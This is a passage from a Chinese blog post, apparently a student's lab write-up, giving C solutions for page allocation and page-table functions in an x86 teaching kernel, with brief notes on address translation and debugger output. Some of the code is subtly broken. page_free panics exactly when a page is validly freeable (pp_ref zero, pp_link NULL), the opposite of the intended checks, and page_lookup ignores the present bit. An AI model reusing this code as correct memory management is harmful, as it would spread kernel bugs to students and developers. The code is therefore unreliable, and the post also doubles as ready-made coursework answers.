<pre><code class="language-c">void mem_init(void)
{
    uint32_t cr0;
    size_t n;

    // Find out how much memory the machine has (npages &amp; npages_basemem).
    i386_detect_memory();

    // Remove this line when you're ready to test this function.

    // panic("mem_init: This function is not finished\n");

    //////////////////////////////////////////////////////////////////////
    // create initial page directory.
    kern_pgdir = (pde_t *)boot_alloc(PGSIZE);
    memset(kern_pgdir, 0, PGSIZE);

    //////////////////////////////////////////////////////////////////////
    // Recursively insert PD in itself as a page table, to form
    // a virtual page table at virtual address UVPT.
    // (For now, you don't have understand the greater purpose of the
    // following line.)

    // Permissions: kernel R, user R
    kern_pgdir[PDX(UVPT)] = PADDR(kern_pgdir) | PTE_U | PTE_P;

    //////////////////////////////////////////////////////////////////////
    // Allocate an array of npages 'struct PageInfo's and store it in 'pages'.
    // The kernel uses this array to keep track of physical pages: for
    // each physical page, there is a corresponding struct PageInfo in this
    // array.  'npages' is the number of physical pages in memory.  Use memset
    // to initialize all fields of each struct PageInfo to 0.
    // Your code goes here:

    pages = (struct PageInfo *)boot_alloc(npages * sizeof(struct PageInfo));
    memset(pages, 0, npages * sizeof(struct PageInfo));</code></pre>
<p><code>page_init</code></p>
<pre><code class="language-c">void page_init(void)
{
    uintptr_t first_free_page = PADDR(boot_alloc(0)) / PGSIZE;
    size_t i;

    // 1) 物理页 0
    pages[0].pp_ref = 1;
    pages[0].pp_link = NULL;

    // 2) 基础内存 [PGSIZE, npages_basemem * PGSIZE)
    for (i = 1; i &lt; npages_basemem; i++)
    {
        pages[i].pp_ref = 0;
        pages[i].pp_link = page_free_list;
        page_free_list = &amp;pages[i];
    }

    // 3) IO 空洞 [IOPHYSMEM, EXTPHYSMEM)
    for (i = IOPHYSMEM / PGSIZE; i &lt; EXTPHYSMEM / PGSIZE; i++)
    {
        pages[i].pp_ref = 1;
        pages[i].pp_link = NULL;
    }

    // 4) 扩展内存 [EXTPHYSMEM, ...）
    for (i = EXTPHYSMEM / PGSIZE; i &lt; npages; i++)
    {
        if (i &gt;= first_free_page)
        {
            pages[i].pp_ref = 0;
            pages[i].pp_link = page_free_list;
            page_free_list = &amp;pages[i];
        }
        else
        {
            pages[i].pp_ref = 1;
            pages[i].pp_link = NULL;
        }
    }
}</code></pre>
<p><code>page_alloc</code></p>
<pre><code class="language-c">struct PageInfo *
page_alloc(int alloc_flags)
{
    if (!page_free_list)
    {
        return NULL;
    }
    struct PageInfo *page = page_free_list;
    page_free_list = page_free_list-&gt;pp_link;

    if (alloc_flags &amp; ALLOC_ZERO)
    {
        memset(page2kva(page), 0, PGSIZE);
    }
    page-&gt;pp_link = NULL; // 确保已分配页面的 pp_link 字段设置为 NULL
    return page;
}</code></pre>
<p><code>page_free</code></p>
<pre><code class="language-c">void page_free(struct PageInfo *pp)
{

    // 填写这个函数
    // 提示：如果 pp-&gt;pp_ref 不为零或 pp-&gt;pp_link 不为 NULL，你可能需要触发 panic。
    if (pp-&gt;pp_ref == 0)
    {
        panic("ref is not NULL");
        return;
    }
    if (pp-&gt;pp_link == NULL)
    {
        panic("link is not NULL");
        return;
    }
    pp-&gt;pp_link = page_free_list;
    page_free_list = pp;
}</code></pre>
<h3>练习2</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241121165613326.png" alt="image-20241121165613326" /></p>
<p>其实这张图以及写的很明显了，x86和arm的区别之一就是段这个概念，这里与老师在书上讲的概念的区别就是这里还需要讲地址转化成线性地址，再转化成物理地址。</p>
<p>逻辑地址就是段选择器加上偏移量<code>segment_selector:offset</code>，段选择器包含段的索引、特权级别和表指示符（GDT 或 LDT）。</p>
<p>线性地址 = 段基址（base address） + 段内偏移量（offset）</p>
<p>假设有一个逻辑地址 <code>0x2B:0x1234</code>，其中 <code>0x2B</code> 是段选择器，<code>0x1234</code> 是段内偏移量。我们如何去计算它的线性地址呢？</p>
<p>首先使用段选择器 <code>0x2B</code> 在 GDT 或 LDT 中查找段描述符，假设找到的段描述符基址为 <code>0x40000000</code>。</p>
<p>然后就可以计算出线性地址 = 段基址 <code>0x40000000</code> + 段内偏移量 <code>0x1234</code>= <code>0x40001234</code></p>
<p>然后的物理地址的转化老师都讲过了，就不在赘述了。</p>
<h3>练习3</h3>
<p>我们随便找一个区域，如内存为0的区域做示范，使用命令看看</p>
<p>可以看到，左右两边的数值是完全一样的。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241121171249834.png" alt="image-20241121171249834" /></p>
<p><code>info pg</code></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241121171432466.png" alt="image-20241121171432466" /></p>
<p><code>info mem</code></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241121171510764.png" alt="image-20241121171510764" /></p>
<h3>问题1</h3>
<p>c语言的指针都是虚拟地址。</p>
<h3>练习4</h3>
<p><code>pgdir_walk</code></p>
<pre><code class="language-c">pte_t *
pgdir_walk(pde_t *pgdir, const void *va, int create)
{
    pde_t *pde = &amp;pgdir[PDX(va)];
    if (!(*pde &amp; PTE_P))
    {
        if (!create)
            return NULL;

        struct PageInfo *page = page_alloc(1);
        if (!page)
            return NULL;

        page-&gt;pp_ref++;
        *pde = page2pa(page) | PTE_P | PTE_W | PTE_U;
    }

    pte_t *pt = (pte_t *)KADDR(PTE_ADDR(*pde));
    return &amp;pt[PTX(va)];
}</code></pre>
<p>关于权限位，暂时不知道为何是这三个。</p>
<p><code>boot_map_region</code></p>
<pre><code class="language-c">static void
boot_map_region(pde_t *pgdir, uintptr_t va, size_t size, physaddr_t pa, int perm)
{
    size_t pieces = ROUNDUP(size, PGSIZE) / PGSIZE;
    while (pieces &gt; 0)
    {
        pte_t *pte = pgdir_walk(pgdir, (void *)va, 1);
        if (pte == NULL)
            panic("boot_map_region: out of memory!\n");
        *pte = pa | perm | PTE_P;
        pieces -= 1;
        va += PGSIZE, pa += PGSIZE;
    }
}
</code></pre>
<p><code>page_insert</code></p>
<pre><code class="language-c">int page_insert(pde_t *pgdir, struct PageInfo *pp, void *va, int perm)
{
    pte_t *pte = pgdir_walk(pgdir, va, 1);
    if (pte == NULL)
        return -E_NO_MEM; // 分配失败，返回错误码
    physaddr_t pa = page2pa(pp);
    pp-&gt;pp_ref++; // 更新引用次数
    if (*pte &amp; PTE_P)
    {
        page_remove(pgdir, va);
        tlb_invalidate(pgdir, va);
    }
    // 如果有映射，删除映射
    *pte = pa | perm | PTE_P; // 设置权限，更新页表项
    return 0;
}
</code></pre>
<p><code>page_lookup</code></p>
<pre><code class="language-c">struct PageInfo *
page_lookup(pde_t *pgdir, void *va, pte_t **pte_store)
{
    pte_t *pte = pgdir_walk(pgdir, va, 0);
    if (pte == NULL)
        return NULL;
    physaddr_t pa = PTE_ADDR(*pte);
    if (pte_store)
        *pte_store = pte;
    return pa2page(pa);
}
</code></pre>
<p><code>page_remove</code></p>
<pre><code class="language-c">void page_remove(pde_t *pgdir, void *va)
{
    pte_t *pte_store;
    struct PageInfo *pp = page_lookup(pgdir, va, &amp;pte_store);
    if (pp == NULL)
        return;
    *pte_store = 0;
    page_decref(pp);
    tlb_invalidate(pgdir, va);
}</code></pre>]]></description>
    <pubDate>Thu, 28 Nov 2024 17:19:29 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=27</guid>
</item>
</channel>
</rss>